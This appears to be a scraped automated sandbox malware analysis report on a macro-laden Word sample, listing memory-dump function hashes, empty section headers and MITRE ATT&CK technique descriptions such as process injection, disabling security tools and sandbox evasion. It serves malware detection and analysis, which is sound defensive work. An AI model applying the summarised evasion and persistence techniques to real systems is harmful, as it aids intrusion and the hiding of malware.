Function 001C0AA0, Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377271abc72651f5abfc83192d7fdf8f2f79ebc2d0155de4e7f41797c1dc7a53
Instruction ID: 3b61f71c384a6c40fdac5121d122b2ede5bbc9c0f900cb1edbaceff4119f5f93
Opcode Fuzzy Hash: 377271abc72651f5abfc83192d7fdf8f2f79ebc2d0155de4e7f41797c1dc7a53
Instruction Fuzzy Hash: AD619F30B14114DFCB05DFA8C494AADBBF2AF89700F1581A9E416EB7A6DB34ED01CB95

Uniqueness

Uniqueness Score: -1.00%

Function 001C0920, Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abbce2df3ea5e7781425a847daa8cc15859dfee6e7858435325904b0da8e3892
Instruction ID: d5cf18214a633212556fefd2dc02608fdf0cc9a536ad3e10fb8b801195b58c8d
Opcode Fuzzy Hash: abbce2df3ea5e7781425a847daa8cc15859dfee6e7858435325904b0da8e3892
Instruction Fuzzy Hash: 7D41E1307042448FD715DF68C458BAEBBF2AF89304F1984A9E106EB3A2CB75DC05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C06A2, Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c34333bff89acdd67ac3b4c96f2f1dbaf5522d4aa14d04081d6a1a966465a6
Instruction ID: 7564a87180122d9c3e80eb52e99ab16cf6b574e761dca295ad18ddf4adac3312
Opcode Fuzzy Hash: c6c34333bff89acdd67ac3b4c96f2f1dbaf5522d4aa14d04081d6a1a966465a6
Instruction Fuzzy Hash: 9551EE38304205CFC79AEFB4E6548597BB2FB8970D3554A64D401AF678EB31AD89CF90

Uniqueness

Uniqueness Score: -1.00%

Function 001C0F20, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63ae0f31a85b77513da8d37ef53cf4fc276d2d266d56f9498bf8ebd234d9be7a
Instruction ID: ad451af79f6d336e6dc46a1b7953320a90b5ad6ca4084cd45b131a65b6c5431a
Opcode Fuzzy Hash: 63ae0f31a85b77513da8d37ef53cf4fc276d2d266d56f9498bf8ebd234d9be7a
Instruction Fuzzy Hash: 9C213630B042608FC749EBB88955A6E7BE6AF89304B1444BDE545DF392EF70DD05C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 001C0910, Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5fef70655a18cb58f12e25660153ddc5d6f181749ab556dc339295ce6aa2c7b
Instruction ID: 2e1e634319afe09572d6786003b0f9e37c2b17beb6f1a45be02fe5554cd634a0
Opcode Fuzzy Hash: c5fef70655a18cb58f12e25660153ddc5d6f181749ab556dc339295ce6aa2c7b
Instruction Fuzzy Hash: 7D31AD30600205CFDB15DF68C498B9EBBF2AF89304F1885A8E105AB3A1CB75ED45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C0C16, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a19e5458a53151c8e581884d3290fc152e766356af587ee3d012ad4aa688fc72
Instruction ID: b831fb141b28a120bff64c39f83f4732c6f34fb8fce231d3d7c1641d8f79e4dd
Opcode Fuzzy Hash: a19e5458a53151c8e581884d3290fc152e766356af587ee3d012ad4aa688fc72
Instruction Fuzzy Hash: 0A213734B00114CFD704DBA8C995B6E7BE2AF9C714F2581A9E916AB7A4CB71DC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001C0599, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72121c4f3575cd49baef82dff468151afa51699bd879f0eafbb75db10e4c2ce5
Instruction ID: f008bcdd1123743b0ecfe710bb94643cd9d2209623a56baf5a53f6dfb20f9fbc
Opcode Fuzzy Hash: 72121c4f3575cd49baef82dff468151afa51699bd879f0eafbb75db10e4c2ce5
Instruction Fuzzy Hash: CE216D30708252CFDB6AAFB5A908F6E7BE1AFA9744B15402DE803D2660EB70C850CF51

Uniqueness

Uniqueness Score: -1.00%

Function 001C05A8, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8e663d8682b39113c8953c77fecad3271e7c4705b6ce2509d0c26ae81ac4097
Instruction ID: 810a4dc75df7667984970a19a61f41f307d843bf0c30a3843412c05b136a9bbb
Opcode Fuzzy Hash: b8e663d8682b39113c8953c77fecad3271e7c4705b6ce2509d0c26ae81ac4097
Instruction Fuzzy Hash: 3E214230704255DFDBAAAFB5EA04F7E7BA56FA9749B11402CA903D2650EB70C850CF61

Uniqueness

Uniqueness Score: -1.00%

Function 001C1010, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 867c754ddf1011ad02260bb702495d2e1aa09e8c601bf644fcd724f8032b4181
Instruction ID: 43beff3ebbedc60bca3d0341d209f2368f3f8a0064a9a508611cc8b6000ec258
Opcode Fuzzy Hash: 867c754ddf1011ad02260bb702495d2e1aa09e8c601bf644fcd724f8032b4181
Instruction Fuzzy Hash: 5911C170B04280DFCB41EF78C9149A97BF1EF8A31871508ADD406DB366EB31D961CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001C1020, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a222b49d8698c38d504edee8ed42b0631fd681abab95387d15eb568d7b81c21
Instruction ID: 68a6da347c6dad58b39f0fa3f19df2b45f3bdba1b93af1e32698a97be8ed4e25
Opcode Fuzzy Hash: 3a222b49d8698c38d504edee8ed42b0631fd681abab95387d15eb568d7b81c21
Instruction Fuzzy Hash: 7F118B70B00240DFCB84EBB9D504A6E3BFAAF8A2187154479D406EB765EF31DD42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C0A2A, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88d2e12dfbf21bd365d8b4547047d55fabc45d609a3dedaed1b7ec4f810fbc1c
Instruction ID: 3d970102e52a3e07abc2a4d846b284b311391ec5d5bc1dc87161891a1b49f38a
Opcode Fuzzy Hash: 88d2e12dfbf21bd365d8b4547047d55fabc45d609a3dedaed1b7ec4f810fbc1c
Instruction Fuzzy Hash: F9F04630B082904FC355D77D985889F7BE79FCA15434500BAE109DB396EF28CC0643EA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report astro-grep-setup.exe.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "/opt/package/joesandbox/database/analysis/450275/sample/astro-grep-setup.exe.doc"

Indicators

Streams with VBA

VBA File Name: NewMacros.bas, Stream Size: 29186

General

VBA Code Keywords

VBA Code

VBA File Name: ThisDocument.cls, Stream Size: 1308

General

VBA Code Keywords

VBA Code

Streams

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre